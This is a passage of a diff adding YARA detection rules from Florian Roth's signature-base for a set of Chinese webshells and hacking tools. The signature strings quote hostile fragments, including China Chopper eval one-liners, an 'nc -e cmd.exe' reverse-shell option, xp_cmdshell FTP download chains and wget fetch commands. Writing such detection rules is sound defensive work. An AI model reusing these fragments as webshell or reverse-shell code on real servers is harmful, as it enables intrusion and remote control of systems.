+        $s4 = "while((a=in.read(b))!=-1){" fullword ascii
+        $s5 = "out.println(new String(b));" fullword ascii
+        $s6 = "out.print(\"</pre>\");" fullword ascii
+        $s7 = "out.print(\"<pre>\");" fullword ascii
+        $s8 = "int a = -1;" fullword ascii
+        $s9 = "byte[] b = new byte[2048];" fullword ascii
+    condition:
+        filesize < 3KB and 7 of them
+}
+
+
+rule trigger_drop {
+    meta:
+        description = "Chinese Hacktool Set - file trigger_drop.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "165dd2d82bf87285c8a53ad1ede6d61a90837ba4"
+        id = "3b4f32ff-2de2-5689-869a-8a8f55e7fa0c"
+    strings:
+        $s0 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
+        $s1 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
+        $s2 = "@mssql_query('DROP TRIGGER" ascii
+        $s3 = "if(empty($_GET['returnto']))" fullword ascii
+    condition:
+        filesize < 5KB and all of them
+}
+
+rule InjectionParameters {
+    meta:
+        description = "Chinese Hacktool Set - file InjectionParameters.vb"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "4f11aa5b3660c45e527606ee33de001f4994e1ea"
+        id = "a77bd0c6-8857-577f-831a-0fcf2537667e"
+    strings:
+        $s0 = "Public Shared ReadOnly Empty As New InjectionParameters(-1, \"\")" fullword ascii
+        $s1 = "Public Class InjectionParameters" fullword ascii
+    condition:
+        filesize < 13KB and all of them
+}
+
+rule users_list {
+    meta:
+        description = "Chinese Hacktool Set - file users_list.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6fba1a1a607198ed232405ccbebf9543037a63ef"
+        id = "2d90b593-6b65-502c-aeb0-8f2a3d65afd3"
+    strings:
+        $s0 = "<a href=\"users_create.php\">Create User</a>" fullword ascii
+        $s7 = "$skiplist = array('##MS_AgentSigningCertificate##','NT AUTHORITY\\NETWORK SERVIC" ascii
+        $s11 = "&nbsp;<b>Default DB</b>&nbsp;" fullword ascii
+    condition:
+        filesize < 12KB and all of them
+}
+
+rule trigger_modify {
+    meta:
+        description = "Chinese Hacktool Set - file trigger_modify.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c93cd7a6c3f962381e9bf2b511db9b1639a22de0"
+        id = "a7d65a9f-82de-554c-8f20-7560d2160041"
+    strings:
+        $s1 = "<form name=\"form1\" method=\"post\" action=\"trigger_modify.php?trigger=<?php e" ascii
+        $s2 = "$data_query = @mssql_query('sp_helptext \\'' . urldecode($_GET['trigger']) . '" ascii
+        $s3 = "if($_POST['query'] != '')" fullword ascii
+        $s4 = "$lines[] = 'I am unable to read this trigger.';" fullword ascii
+        $s5 = "<b>Modify Trigger</b>" fullword ascii
+    condition:
+        filesize < 15KB and all of them
+}
+
+rule Customize {
+    meta:
+        description = "Chinese Hacktool Set - file Customize.aspx"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "db556879dff9a0101a7a26260a5d0dc471242af2"
+        id = "a69e1234-cc85-5295-a45c-693afdfc368e"
+    strings:
+        $s1 = "ds.Clear();ds.Dispose();}else{SqlCommand cm = Conn.CreateCommand();cm.CommandTex" ascii
+        $s2 = "c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=tr" ascii
+        $s3 = "Stream WF=WB.GetResponseStream();FileStream FS=new FileStream(Z2,FileMode.Create" ascii
+        $s4 = "R=\"Result\\t|\\t\\r\\nExecute Successfully!\\t|\\t\\r\\n\";}Conn.Close();break;" ascii
+    condition:
+        filesize < 24KB and all of them
+}
+
+rule oracle_data {
+    meta:
+        description = "Chinese Hacktool Set - file oracle_data.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6cf070017be117eace4752650ba6cf96d67d2106"
+        id = "faa62dcc-0f59-573c-8722-d07216de151f"
+    strings:
+        $s0 = "$txt=fopen(\"oracle_info.txt\",\"w\");" fullword ascii
+        $s1 = "if(isset($_REQUEST['id']))" fullword ascii
+        $s2 = "$id=$_REQUEST['id'];" fullword ascii
+    condition:
+        all of them
+}
+
+rule reDuhServers_reDuh {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.jsp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "377886490a86290de53d696864e41d6a547223b0"
+        id = "c87d971a-a16f-5593-88fb-6bcd207e0841"
+    strings:
+        $s1 = "out.println(\"[Error]Unable to connect to reDuh.jsp main process on port \" +ser" ascii
+        $s4 = "System.out.println(\"IPC service failed to bind to \" + servicePort);" fullword ascii $s17 = "System.out.println(\"Bound on \" + servicePort);" fullword ascii
+        $s5 = "outputFromSockets.add(\"[data]\"+target+\":\"+port+\":\"+sockNum+\":\"+new Strin" ascii
+    condition:
+        filesize < 116KB and all of them
+}
+
+rule item_old {
+    meta:
+        description = "Chinese Hacktool Set - file item-old.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "daae358bde97e534bc7f2b0134775b47ef57e1da"
+        id = "c32bbd48-a363-53c7-84c6-c47581e2f9da"
+    strings:
+        $s1 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+        $s2 = "$sCmd = \"convert \".$sFile.\" -flip -quality 80 \".$sFileOut;" fullword ascii
+        $s3 = "$sHash = md5($sURL);" fullword ascii
+    condition:
+        filesize < 7KB and 2 of them
+}
+
+rule Tools_2014 {
+    meta:
+        description = "Chinese Hacktool Set - file 2014.jsp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "74518faf08637c53095697071db09d34dbe8d676"
+        id = "bb76321b-003d-5f6b-a84b-425477abe91c"
+    strings:
+        $s0 = "((Invoker) ins.get(\"login\")).invoke(request, response," fullword ascii
+        $s4 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+        $s5 = ": \"c:\\\\windows\\\\system32\\\\cmd.exe\")" fullword ascii
+    condition:
+        filesize < 715KB and all of them
+}
+
+rule reDuhServers_reDuh_2 {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "512d0a3e7bb7056338ad0167f485a8a6fa1532a3"
+        id = "6050dfde-6c79-5dd8-a772-508668177aa5"
+    strings:
+        $s1 = "errorlog(\"FRONTEND: send_command '\".$data.\"' on port \".$port.\" returned \"." ascii
+        $s2 = "$msg = \"newData:\".$socketNumber.\":\".$targetHost.\":\".$targetPort.\":\".$seq" ascii
+        $s3 = "errorlog(\"BACKEND: *** Socket key is \".$sockkey);" fullword ascii
+    condition:
+        filesize < 57KB and all of them
+}
+
+rule Customize_2 {
+    meta:
+        description = "Chinese Hacktool Set - file Customize.jsp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "37cd17543e14109d3785093e150652032a85d734"
+        id = "1f7e9063-33d8-5df4-89d5-7d8fc1be61f0"
+    strings:
+        $s1 = "while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}" fullword ascii
+        $s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii
+    condition:
+        filesize < 30KB and all of them
+}
+
+rule ChinaChopper_one {
+    meta:
+        description = "Chinese Hacktool Set - file one.asp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6cd28163be831a58223820e7abe43d5eacb14109"
+        id = "854fb5c9-38c7-5fd2-a473-66ae297070f5"
+    strings:
+        $s0 = "<%eval request(" ascii
+    condition:
+        filesize < 50 and all of them
+}
+
+rule CN_Tools_old {
+    meta:
+        description = "Chinese Hacktool Set - file old.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "f8a007758fda8aa1c0af3c43f3d7e3186a9ff307"
+        id = "bfdb84e8-e5a8-53a4-ae71-e0d1b38d38ef"
+    strings:
+        $s0 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+        $s1 = "$sURL = \"http://\".$sServer.\"/\".$sFile;" fullword ascii
+        $s2 = "chmod(\"/\".substr($sHash, 0, 2), 0777);" fullword ascii
+        $s3 = "$sCmd = \"echo 123> \".$sFileOut;" fullword ascii
+    condition:
+        filesize < 6KB and all of them
+}
+
+rule item_301 {
+    meta:
+        description = "Chinese Hacktool Set - file item-301.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "15636f0e7dc062437608c1f22b1d39fa15ab2136"
+        id = "4ee9a089-313f-53c1-8196-1348d721dbf4"
+    strings:
+        $s1 = "$sURL = \"301:http://\".$sServer.\"/index.asp\";" fullword ascii
+        $s2 = "(gov)\\\\.(cn)$/i\", $aURL[\"host\"])" ascii
+        $s3 = "$aArg = explode(\" \", $sContent, 5);" fullword ascii
+        $s4 = "$sURL = $aArg[0];" fullword ascii
+    condition:
+        filesize < 3KB and 3 of them
+}
+
+rule CN_Tools_item {
+    meta:
+        description = "Chinese Hacktool Set - file item.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "a584db17ad93f88e56fd14090fae388558be08e4"
+        id = "954f24c9-d7d5-56d3-86f0-0cf8832640dd"
+    strings:
+        $s1 = "$sURL = \"http://\".$sServer.\"/\".$sWget;" fullword ascii
+        $s2 = "$sURL = \"301:http://\".$sServer.\"/\".$sWget;" fullword ascii
+        $s3 = "$sWget=\"index.asp\";" fullword ascii
+        $s4 = "$aURL += array(\"scheme\" => \"\", \"host\" => \"\", \"path\" => \"\");" fullword ascii
+    condition:
+        filesize < 4KB and all of them
+}
+
+rule f3_diy {
+    meta:
+        description = "Chinese Hacktool Set - file diy.asp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "f39c2f64abe5e86d8d36dbb7b1921c7eab63bec9"
+        id = "9f36c6dd-89e8-511b-a499-131f1e8a420a"
+    strings:
+        $s0 = "<%@LANGUAGE=\"VBScript.Encode\" CODEPAGE=\"936\"%>" fullword ascii
+        $s5 = ".black {" fullword ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 10KB and all of them
+}
+
+rule ChinaChopper_temp {
+    meta:
+        description = "Chinese Hacktool Set - file temp.asp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "b0561ea52331c794977d69704345717b4eb0a2a7"
+        id = "f163787f-fcc9-568a-a12d-4057cb4f0d29"
+    strings:
+        $s0 = "o.run \"ff\",Server,Response,Request,Application,Session,Error" fullword ascii
+        $s1 = "Set o = Server.CreateObject(\"ScriptControl\")" fullword ascii
+        $s2 = "o.language = \"vbscript\"" fullword ascii
+        $s3 = "o.addcode(Request(\"SC\"))" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule Tools_2015 {
+    meta:
+        description = "Chinese Hacktool Set - file 2015.jsp"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "8fc67359567b78cadf5d5c91a623de1c1d2ab689"
+        id = "eb2826ab-ef8d-5a93-9ede-f5bbd7ab4ff4"
+    strings:
+        $s0 = "Configbis = new BufferedInputStream(httpUrl.getInputStream());" fullword ascii
+        $s4 = "System.out.println(Oute.toString());" fullword ascii
+        $s5 = "String ConfigFile = Outpath + \"/\" + request.getParameter(\"ConFile\");" fullword ascii
+        $s8 = "HttpURLConnection httpUrl = null;" fullword ascii
+        $s19 = "Configbos = new BufferedOutputStream(new FileOutputStream(Outf));;" fullword ascii
+    condition:
+        filesize < 7KB and all of them
+}
+
+rule ChinaChopper_temp_2 {
+    meta:
+        description = "Chinese Hacktool Set - file temp.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "604a4c07161ce1cd54aed5566e5720161b59deee"
+        id = "3952ed2b-fb27-5c45-9cd7-b7a300b37c0e"
+    strings:
+        $s0 = "@eval($_POST[strtoupper(md5(gmdate(" ascii
+    condition:
+        filesize < 150 and all of them
+}
+
+rule templatr {
+    meta:
+        description = "Chinese Hacktool Set - file templatr.php"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "759df470103d36a12c7d8cf4883b0c58fe98156b"
+        id = "b361a49d-1e05-5597-bf8b-735e04397ffa"
+    strings:
+        $s0 = "eval(gzinflate(base64_decode('" ascii
+    condition:
+        filesize < 70KB and all of them
+}
+
+rule reDuhServers_reDuh_3 {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.aspx"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "0744f64c24bf4c0bef54651f7c88a63e452b3b2d"
+        id = "69f5fd6b-a9b3-500b-8723-d1c82494903d"
+    strings:
+        $s1 = "Response.Write(\"[Error]Unable to connect to reDuh.jsp main process on port \" +" ascii
+        $s2 = "host = System.Net.Dns.Resolve(\"127.0.0.1\");" fullword ascii
+        $s3 = "rw.WriteLine(\"[newData]\" + targetHost + \":\" + targetPort + \":\" + socketNum" ascii
+        $s4 = "Response.Write(\"Error: Bad port or host or socketnumber for creating new socket" ascii
+    condition:
+        filesize < 40KB and all of them
+}
+
+rule ChinaChopper_temp_3 {
+    meta:
+        description = "Chinese Hacktool Set - file temp.aspx"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+        id = "573e7da6-f58f-5814-b3e8-a0db3ecfe558"
+    strings:
+        $s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"" ascii
+        $s1 = "\"],\"unsafe\");%>" ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 150 and all of them
+}
+
+rule Shell_Asp {
+    meta:
+        description = "Chinese Hacktool Set Webshells - file Asp.html"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "5e0bc914ac287aa1418f6554ddbe0ce25f2b5f20"
+        id = "52089205-8f36-5a0b-a1ae-67c91a253ad2"
+    strings:
+        $s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+        $s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+        $s3 = "function Command(cmd, str){" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+
+rule Txt_aspxtag {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspxtag.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "42cb272c02dbd49856816d903833d423d3759948"
+        id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+    strings:
+        $s1 = "String wGetUrl=Request.QueryString[" fullword ascii
+        $s2 = "sw.Write(wget);" fullword ascii
+        $s3 = "Response.Write(\"Hi,Man 2015\"); " fullword ascii
+    condition:
+        filesize < 2KB and all of them
+}
+
+rule Txt_php {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file php.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "eaa1af4b898f44fc954b485d33ce1d92790858d0"
+        id = "65d5c46f-006d-58f9-bb7f-0a2e1f1853bd"
+    strings:
+        $s1 = "$Config=$_SERVER['QUERY_STRING'];" fullword ascii
+        $s2 = "gzuncompress($_SESSION['api']),null);" ascii
+        $s3 = "sprintf('%s?%s',pack(\"H*\"," ascii
+        $s4 = "if(empty($_SESSION['api']))" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule Txt_aspx1 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspx1.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+        id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+    strings:
+        $s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item["
+        $s1 = "],\"unsafe\");%>" fullword ascii
+    condition:
+        filesize < 150 and all of them
+}
+
+rule Txt_shell {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file shell.c"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "8342b634636ef8b3235db0600a63cc0ce1c06b62"
+        id = "3e4c5928-346e-541b-b1a8-b37d5e3abc98"
+    strings:
+        $s1 = "printf(\"Could not connect to remote shell!\\n\");" fullword ascii
+        $s2 = "printf(\"Usage: %s <reflect ip> <port>\\n\", prog);" fullword ascii
+        $s3 = "execl(shell,\"/bin/sh\",(char *)0);" fullword ascii
+        $s4 = "char shell[]=\"/bin/sh\";" fullword ascii
+        $s5 = "connect back door\\n\\n\");" fullword ascii
+    condition:
+        filesize < 2KB and 2 of them
+}
+
+rule Txt_asp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file asp.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "a63549f749f4d9d0861825764e042e299e06a705"
+        id = "39a2ba9a-c429-574f-8820-5e0270a4b84c"
+    strings:
+        $s1 = "Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next:BodyCol" ascii
+        $s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 100KB and all of them
+}
+
+rule Txt_asp1 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file asp1.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "95934d05f0884e09911ea9905c74690ace1ef653"
+        id = "b00ab02c-c767-568c-be99-6cc731c3f1dc"
+    strings:
+        $s1 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
+        $s2 = "autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)" fullword ascii
+        $s3 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
+        $s4 = "szTempFile = server.mappath(\"cmd.txt\")" fullword ascii
+    condition:
+        filesize < 70KB and 2 of them
+}
+
+rule Txt_php_2 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file php.html"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "a7d5fcbd39071e0915c4ad914d31e00c7127bcfc"
+        id = "66916e32-9471-54bd-944e-bb751b38d3b0"
+    strings:
+        $s1 = "function connect($dbhost, $dbuser, $dbpass, $dbname='') {" fullword ascii
+        $s2 = "scookie('loginpass', '', -86400 * 365);" fullword ascii
+        $s3 = "<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>" fullword ascii
+        $s4 = "Powered by <a title=\"Build 20130112\" href=\"http://www.4ngel.net\" target=\"_b" ascii
+        $s5 = "formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\\'shell\\',null,this." ascii
+        $s6 = "secparam('IP Configurate',execute('ipconfig -all'));" fullword ascii
+        $s7 = "secparam('Hosts', @file_get_contents('/etc/hosts'));" fullword ascii
+        $s8 = "p('<p><a href=\"http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/\" target=" ascii
+    condition:
+        filesize < 100KB and 4 of them
+}
+
+rule Txt_ftp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file ftp.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "3495e6bcb5484e678ce4bae0bd1a420b7eb6ad1d"
+        id = "311de4b0-fa19-545a-8a65-a40b255b5b39"
+    strings:
+        $s1 = "';exec master.dbo.xp_cmdshell 'echo open " ascii
+        $s2 = "';exec master.dbo.xp_cmdshell 'ftp -s:';" ascii
+        $s3 = "';exec master.dbo.xp_cmdshell 'echo get lcx.exe" ascii
+        $s4 = "';exec master.dbo.xp_cmdshell 'echo get php.exe" ascii
+        $s5 = "';exec master.dbo.xp_cmdshell 'copy " ascii
+        $s6 = "ftp -s:d:\\ftp.txt " fullword ascii
+        $s7 = "echo bye>>d:\\ftp.txt " fullword ascii
+    condition:
+        filesize < 2KB and 2 of them
+}
+
+rule Txt_lcx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file lcx.c"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "ddb3b6a5c5c22692de539ccb796ede214862befe"
+        id = "4a4e8810-6dae-526e-86f0-43de45d1c87a"
+    strings:
+        $s1 = "printf(\"Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-l" ascii
+        $s2 = "sprintf(tmpbuf2,\"\\r\\n########### reply from %s:%d ####################\\r\\n" ascii
+        $s3 = "printf(\" 3: connect to HOST1:PORT1 and HOST2:PORT2\\r\\n\");" fullword ascii
+        $s4 = "printf(\"got,ip:%s,port:%d\\r\\n\",inet_ntoa(client1.sin_addr),ntohs(client1.sin" ascii
+        $s5 = "printf(\"[-] connect to host1 failed\\r\\n\");" fullword ascii
+    condition:
+        filesize < 25KB and 2 of them
+}
+
+rule Txt_jspcmd {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file jspcmd.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "1d4e789031b15adde89a4628afc759859e53e353"
+        id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"
+    strings:
+        $s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+        $s4 = "out.print(\"Hi,Man 2015\");" fullword ascii
+    condition:
+        filesize < 1KB and 1 of them
+}
+
+rule Txt_jsp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file jsp.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "74518faf08637c53095697071db09d34dbe8d676"
+        id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"
+    strings:
+        $s1 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+        $s2 = "Process pro = Runtime.getRuntime().exec(exe);" fullword ascii
+        $s3 = "<option value=\\\"nc -e cmd.exe 192.168.230.1 4444\\\">nc</option>\"" fullword ascii
+        $s4 = "cmd = \"cmd.exe /c set\";" fullword ascii
+    condition:
+        filesize < 715KB and 2 of them
+}
+
+rule Txt_aspxlcx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspxlcx.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "453dd3160db17d0d762e032818a5a10baf234e03"
+        id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+    strings:
+        $s1 = "public string remoteip = " ascii
+        $s2 = "=Dns.Resolve(host);" ascii
+        $s3 = "public string remoteport = " ascii
+        $s4 = "public class PortForward" ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 18KB and all of them
+}
+
+rule Txt_xiao {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file xiao.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "b3b98fb57f5f5ccdc42e746e32950834807903b7"
+        id = "cd375597-c343-5f7d-8574-23f700ff432b"
+    strings:
+        $s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+        $s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+        $s3 = "conn.Execute(\"Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED," ascii
+        $s4 = "function Command(cmd, str){" fullword ascii
+        $s5 = "echo \"if(obj.value=='PageWebProxy')obj.form.target='_blank';\"" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule Txt_aspx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspx.jpg"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "ce24e277746c317d887139a0d71dd250bfb0ed58"
+        id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
+    strings:
+        $s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+        $s2 = "Process[] p=Process.GetProcesses();" fullword ascii
+        $s3 = "Copyright &copy; 2009 Bin" ascii
+        $s4 = "<td colspan=\"5\">CmdShell&nbsp;&nbsp;:&nbsp;<input class=\"input\" runat=\"serv" ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule Txt_Sql {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file Sql.txt"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "f7813f1dfa4eec9a90886c80b88aa38e2adc25d5"
+        id = "586f23d4-3a04-520d-b75b-f9bbcf67ceeb"
+    strings:
